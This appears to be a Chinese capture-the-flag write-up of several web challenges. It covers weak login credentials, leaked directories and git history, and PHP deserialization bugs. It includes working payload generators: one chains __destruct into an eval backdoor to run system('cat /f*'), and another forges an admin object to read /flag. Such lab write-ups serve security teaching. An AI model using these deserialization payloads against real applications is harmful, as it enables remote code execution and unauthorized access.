<?php
session_start();
header("X-Powered-By: the username is : xiaoming");
// 假设 用户名是 admin,密码是 password
$valid_username = "xiaoming";
$valid_password = "123123";
// 检测登录
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($_POST['username'] === $valid_username && $_POST['password'] === $valid_password) {
$_SESSION['loggedin'] = true;
header("Location: /ordinary-user/2.php?id=xiaoming");
exit();
} else {
$error = "账号或者密码不对哦";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>小明的后台</title>
<style>
body {
background-image: url('a.jpg');
background-size: cover;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: white; /* 设置字体颜色为白色 */
margin: 0;
}
.login-container {
background: rgba(0, 0, 0, 0.7); /* 添加一个半透明背景,使文本更易读 */
padding: 20px;
border-radius: 10px;
text-align: center;
}
input {
margin: 10px 0;
padding: 5px;
width: 100%;
}
button {
padding: 8px;
width: 80%;
background-color: #28a745; /* 按钮的颜色 */
color: white; /* 按钮文字颜色 */
border: none;
border-radius: 5px;
cursor: pointer;
}
button:hover {
background-color: #218838; /* 鼠标悬停时按钮颜色 */
}
</style>
</head><!--HTML-->
<body>
<div class="login-container">
<h2>小明你好</h2><!--小明和小黑是boss手下的员工,你的身份是特工来获取boss的信息,注意:小明和小黑他俩只是普通员工,但是小黑好像掌握着boss的一些信息-->
<form method="POST" action="">
<label for="username">账号:</label>
<input type="text" name="username" required>
<br>
<label for="password">密码:</label>
<input type="password" name="password" required>
<br>
<button type="submit">Login</button>
</form>
<?php if (isset($error)) echo "<p>$error</p>"; ?>
</div>
</body>
</html>
可以看见小明的账密,是一个弱口令
登录后看见 url 处可以更改 id /ordinary-user/2.php?id=xiaoming
得到密钥 bossisxiaoheizi
<?php session_start(); header("X-Powered-By: the username is : admin");
// 假设 用户名是 admin,密码是 flower
$valid_username = "admin";
$valid_password = "flower";
$valid_secret = "bossisxiaoheizi"; // 新的秘密密码
// 检测登录
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['secret'])) {
if ($_POST['username'] === $valid_username &&
$_POST['password'] === $valid_password &&
$_POST['secret'] === $valid_secret) {
$_SESSION['loggedin'] = true;
header("Location: /new/boss.html");
exit();
} else {
$error = "是本人吗?";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>admin</title>
<style>
body {
background-image: url('b.jpg');
background-size: cover;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: white; /* 设置字体颜色为白色 */
margin: 0;
}
.login-container {
background: rgba(0, 0, 0, 0.7); /* 添加一个半透明背景,使文本更易读 */
padding: 20px;
border-radius: 10px;
text-align: center;
}
input {
margin: 10px 0;
padding: 5px;
width: 100%;
}
button {
padding: 8px;
width: 80%;
background-color: #28a745; /* 按钮的颜色 */
color: white; /* 按钮文字颜色 */
border: none;
border-radius: 5px;
cursor: pointer;
}
button:hover {
background-color: #218838; /* 鼠标悬停时按钮颜色 */
}
</style>
</head>
<body>
<div class="login-container">
<h2>admin</h2>
<form method="POST" action="">
<label for="username">账号:</label>
<input type="text" name="username" required>
<br>
<label for="password">密码:</label>
<input type="password" name="password" required>
<br>
<label for="secret">boss的秘钥:</label> <!-- 新增秘密字段 -->
<input type="text" name="secret" required>
<br>
<button type="submit">Login</button>
</form>
<?php if (isset($error)) echo "<p>$error</p>"; ?>
</div>
</body>
</html>
可以看见 boss 的账密,这里应该是用字典爆破出来的
登录后才会到 boss.html
看来是非预期了,new 文件夹泄露导致我直接访问到了 boss.html
这个 ordinary-user 目录同样是可以直接访问的,里面的 2.php 存着 user 信息
ezezser-git 泄露 反序列化
$polarday = $_GET['polarday'];
$polarnight = $_GET['polarnight'];
if (isset($polarday) && isset($polarnight)) {
$polar520 = unserialize($_COOKIE['polar520']);
$polar520->login($polarday, $polarnight);
}
class backDoor {
private $key;
public function getInfo() {
eval($this->key);
}
}
难道就这些?
应该不是完整代码,但是先看一下
显然这里的 login 方法是不存在的,backDoor 也利用不了
扫目录发现 git 源码泄露,githack 下来
"<?php user:T1nk7997;password:20a731829975cb1220481d4e7a9972c3; ?>"
"Hello ! "
暂时没看出用处,不过或许可以 login 了?
尝试传了一下好像没用
看了一下 wp 原来还有 git 回滚。。
lijiejie 的 githack 我 dump 下来源码后没法 git reset,紧急装了一个 githacker 终于回滚出来
<?php
error_reporting(0);
highlight_file(___FILE___);
$polarday=$_GET['polarday'];
$polarnight=$_GET['polarnight'];
if(isset($polarday) && isset($polarnight)){
$polar520 = unserialize($_COOKIE['polar520']);
$polar520->login($polarday,$polarnight);
}
class info{
private $polar520='nukaka';
public function getInfo(){
return $this->polar520;
}
}
class polar520{
private $polarday='nukaka';
private $polarnight='nukaka';
private $polar=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($a,$b){
return $this->polarday===$a&&$this->polarnight===$b;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $key;
public function getInfo(){
eval($this->key);
}
}
那就可以利用反序列化 rce 了
backDoor.getInfo <- polar520.__destruct
<?php
class polar520{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $key = "system('cat /f*');";
}
$pol = new polar520();
$payload = serialize($pol);
echo $payload."<br>";
echo urlencode($payload);
一开始遇到一个误区:遇到一个 private 要赋值为类就不知道怎么办了,其实在构造函数处理就可以
Deserialize-反序列化
根据提示先信息收集
扫目录没有结果,猜测是 hidden 路由,访问一下
On this basis, you will soon be able to see hidden file
此时网页标题变成了 php
根据提示尝试了很久,发现/hidden/hidden.php
<?php
class Token {
public $id;
public $secret;
public function __construct($id, $secret) {
$this->id = $id;
$this->secret = $secret;
}
public function generateToken() {
return "Token for {$this->id}";
}
}
class User {
public $name;
public $isAdmin = false;
public $token;
public function __construct($name, $isAdmin, Token $token) {
$this->name = $name;
$this->isAdmin = $isAdmin;
$this->token = $token;
}
public function getInfo() {
return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin");
}
}
class Product {
public $productName;
public $price;
public function __construct($productName, $price) {
$this->productName = $productName;
$this->price = $price;
}
public function displayProduct() {
return "Product: {$this->productName}, Price: {$this->price}";
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$user = unserialize($data);
if ($user instanceof User) {
echo $user->getInfo() . "<br>";
echo "Token: " . $user->token->generateToken() . "<br>";
echo "Product: " . $user->token->product->displayProduct() . "<br>";
if ($user->isAdmin) {
echo "Here is your flag: " . file_get_contents('/flag');
} else {
echo "You are not admin!";
}
} else {
echo "Invalid user data.";
}
} else {
highlight_file(__FILE__);
}
?>
反序列化伪造身份验证
<?php
class Token {
public $id;
public $secret;
public function __construct($id, $secret) {
$this->id = $id;
$this->secret = $secret;
}
}
class User {
public $name;
public $isAdmin = true;
public $token;
public function __construct($name, $isAdmin, Token $token) {
$this->name = $name;
$this->isAdmin = $isAdmin;
$this->token = $token;
}
}
class Product {
public $productName;
public $price;
public function __construct($productName, $price) {
$this->productName = $productName;
$this->price = $price;
}
}
$to = new Token("1","2");
$to->product = new Product("1","2");
$pol = new User("1",true,$to);
$payload = serialize($pol);
echo $payload."<br>";
echo urlencode($payload);

浙公网安备 33010602011771号